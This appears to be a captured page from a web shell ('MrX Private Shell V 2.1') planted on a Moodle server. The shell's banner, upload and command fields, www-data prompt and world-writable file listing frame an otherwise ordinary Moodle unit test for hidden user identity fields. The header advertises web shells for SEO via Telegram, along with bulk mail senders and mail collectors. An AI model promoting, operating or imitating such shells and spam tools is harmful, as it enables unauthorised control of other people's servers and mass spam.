__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - https://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_user;

use testable_user_selector;

defined('MOODLE_INTERNAL') || die();

global $CFG;
require_once($CFG->dirroot.'/user/selector/lib.php');
require_once($CFG->dirroot.'/user/tests/fixtures/testable_user_selector.php');

/**
 * Tests for the implementation of {@link user_selector_base} class.
 *
 * @package   core_user
 * @category  test
 * @copyright 2018 David Mudrák <david@moodle.com>
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class userselector_test extends \advanced_testcase {

    /**
     * Setup the environment for the tests.
     */
    protected function setup_hidden_siteidentity() {
        global $CFG, $DB;

        $CFG->showuseridentity = 'idnumber,country,city';
        $CFG->hiddenuserfields = 'country,city';

        $env = new \stdClass();

        $env->student = $this->getDataGenerator()->create_user();
        $env->teacher = $this->getDataGenerator()->create_user();
        $env->manager = $this->getDataGenerator()->create_user();

        $env->course = $this->getDataGenerator()->create_course();
        $env->coursecontext = \context_course::instance($env->course->id);

        $env->teacherrole = $DB->get_record('role', array('shortname' => 'teacher'));
        $env->studentrole = $DB->get_record('role', array('shortname' => 'student'));
        $env->managerrole = $DB->get_record('role', array('shortname' => 'manager'));

        role_assign($env->studentrole->id, $env->student->id, $env->coursecontext->id);
        role_assign($env->teacherrole->id, $env->teacher->id, $env->coursecontext->id);
        role_assign($env->managerrole->id, $env->manager->id, SYSCONTEXTID);

        return $env;
    }

    /**
     * No identity fields are not shown to student user (no permission to view identity fields).
     */
    public function test_hidden_siteidentity_fields_no_access(): void {
        $this->resetAfterTest();
        $env = $this->setup_hidden_siteidentity();
        $this->setUser($env->student);

        $selector = new testable_user_selector('test');

        foreach ($selector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectNotHasProperty('idnumber', $user);
                $this->assertObjectNotHasProperty('country', $user);
                $this->assertObjectNotHasProperty('city', $user);
            }
        }
    }

    /**
     * Teacher can see students' identity fields only within the course.
     */
    public function test_hidden_siteidentity_fields_course_only_access(): void {
        $this->resetAfterTest();
        $env = $this->setup_hidden_siteidentity();
        $this->setUser($env->teacher);

        $systemselector = new testable_user_selector('test');
        $courseselector = new testable_user_selector('test', ['accesscontext' => $env->coursecontext]);

        foreach ($systemselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectNotHasProperty('idnumber', $user);
                $this->assertObjectNotHasProperty('country', $user);
                $this->assertObjectNotHasProperty('city', $user);
            }
        }

        foreach ($courseselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectHasProperty('country', $user);
                $this->assertObjectHasProperty('city', $user);
            }
        }
    }

    /**
     * Teacher can be prevented from seeing students' identity fields even within the course.
     */
    public function test_hidden_siteidentity_fields_course_prevented_access(): void {
        $this->resetAfterTest();
        $env = $this->setup_hidden_siteidentity();
        $this->setUser($env->teacher);

        assign_capability('moodle/course:viewhiddenuserfields', CAP_PREVENT, $env->teacherrole->id, $env->coursecontext->id);

        $courseselector = new testable_user_selector('test', ['accesscontext' => $env->coursecontext]);

        foreach ($courseselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectNotHasProperty('country', $user);
                $this->assertObjectNotHasProperty('city', $user);
            }
        }
    }

    /**
     * Manager can see students' identity fields anywhere.
     */
    public function test_hidden_siteidentity_fields_anywhere_access(): void {
        $this->resetAfterTest();
        $env = $this->setup_hidden_siteidentity();
        $this->setUser($env->manager);

        $systemselector = new testable_user_selector('test');
        $courseselector = new testable_user_selector('test', ['accesscontext' => $env->coursecontext]);

        foreach ($systemselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectHasProperty('country', $user);
                $this->assertObjectHasProperty('city', $user);
            }
        }

        foreach ($courseselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectHasProperty('country', $user);
                $this->assertObjectHasProperty('city', $user);
            }
        }
    }

    /**
     * Manager can be prevented from seeing hidden fields outside the course.
     */
    public function test_hidden_siteidentity_fields_schismatic_access(): void {
        $this->resetAfterTest();
        $env = $this->setup_hidden_siteidentity();
        $this->setUser($env->manager);

        // Revoke the capability to see hidden user fields outside the course.
        // Note that inside the course, the manager can still see the hidden identifiers as this is currently
        // controlled by a separate capability for legacy reasons. This is counter-intuitive behaviour and is
        // likely to be fixed in MDL-51630.
        assign_capability('moodle/user:viewhiddendetails', CAP_PREVENT, $env->managerrole->id, SYSCONTEXTID, true);

        $systemselector = new testable_user_selector('test');
        $courseselector = new testable_user_selector('test', ['accesscontext' => $env->coursecontext]);

        foreach ($systemselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectNotHasProperty('country', $user);
                $this->assertObjectNotHasProperty('city', $user);
            }
        }

        foreach ($courseselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectHasProperty('country', $user);
                $this->assertObjectHasProperty('city', $user);
            }
        }
    }

    /**
     * Two capabilities must be currently set to prevent manager from seeing hidden fields.
     */
    public function test_hidden_siteidentity_fields_hard_to_prevent_access(): void {
        $this->resetAfterTest();
        $env = $this->setup_hidden_siteidentity();
        $this->setUser($env->manager);

        assign_capability('moodle/user:viewhiddendetails', CAP_PREVENT, $env->managerrole->id, SYSCONTEXTID, true);
        assign_capability('moodle/course:viewhiddenuserfields', CAP_PREVENT, $env->managerrole->id, SYSCONTEXTID, true);

        $systemselector = new testable_user_selector('test');
        $courseselector = new testable_user_selector('test', ['accesscontext' => $env->coursecontext]);

        foreach ($systemselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectNotHasProperty('country', $user);
                $this->assertObjectNotHasProperty('city', $user);
            }
        }

        foreach ($courseselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectNotHasProperty('country', $user);
                $this->assertObjectNotHasProperty('city', $user);
            }
        }
    }

    /**
     * For legacy reasons, user selectors supported ability to override $CFG->showuseridentity.
     *
     * However, this was found as violating the principle of respecting site privacy settings. So the feature has been
     * dropped in Moodle 3.6.
     */
    public function test_hidden_siteidentity_fields_explicit_extrafields(): void {
        $this->resetAfterTest();
        $env = $this->setup_hidden_siteidentity();
        $this->setUser($env->manager);

        $implicitselector = new testable_user_selector('test');
        $explicitselector = new testable_user_selector('test', ['extrafields' => ['email', 'department']]);

        $this->assertDebuggingCalled();

        foreach ($implicitselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectHasProperty('country', $user);
                $this->assertObjectHasProperty('city', $user);
                $this->assertObjectNotHasProperty('email', $user);
                $this->assertObjectNotHasProperty('department', $user);
            }
        }

        foreach ($explicitselector->find_users('') as $found) {
            foreach ($found as $user) {
                $this->assertObjectHasProperty('idnumber', $user);
                $this->assertObjectHasProperty('country', $user);
                $this->assertObjectHasProperty('city', $user);
                $this->assertObjectNotHasProperty('email', $user);
                $this->assertObjectNotHasProperty('department', $user);
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
behat Folder 0777
external Folder 0777
fixtures Folder 0777
privacy Folder 0777
reportbuilder Folder 0777
route Folder 0777
search Folder 0777
table Folder 0777
coverage.php File 1.08 KB 0777
devicekey_test.php File 2.17 KB 0777
editlib_test.php File 7.4 KB 0777
externallib_test.php File 78.31 KB 0777
fields_test.php File 27.77 KB 0777
group_non_members_selector_test.php File 4.84 KB 0777
myprofile_test.php File 15.9 KB 0777
profilelib_test.php File 14.91 KB 0777
userlib_test.php File 47.45 KB 0777
userroleseditable_test.php File 2.98 KB 0777
userselector_test.php File 10.54 KB 0777
Filemanager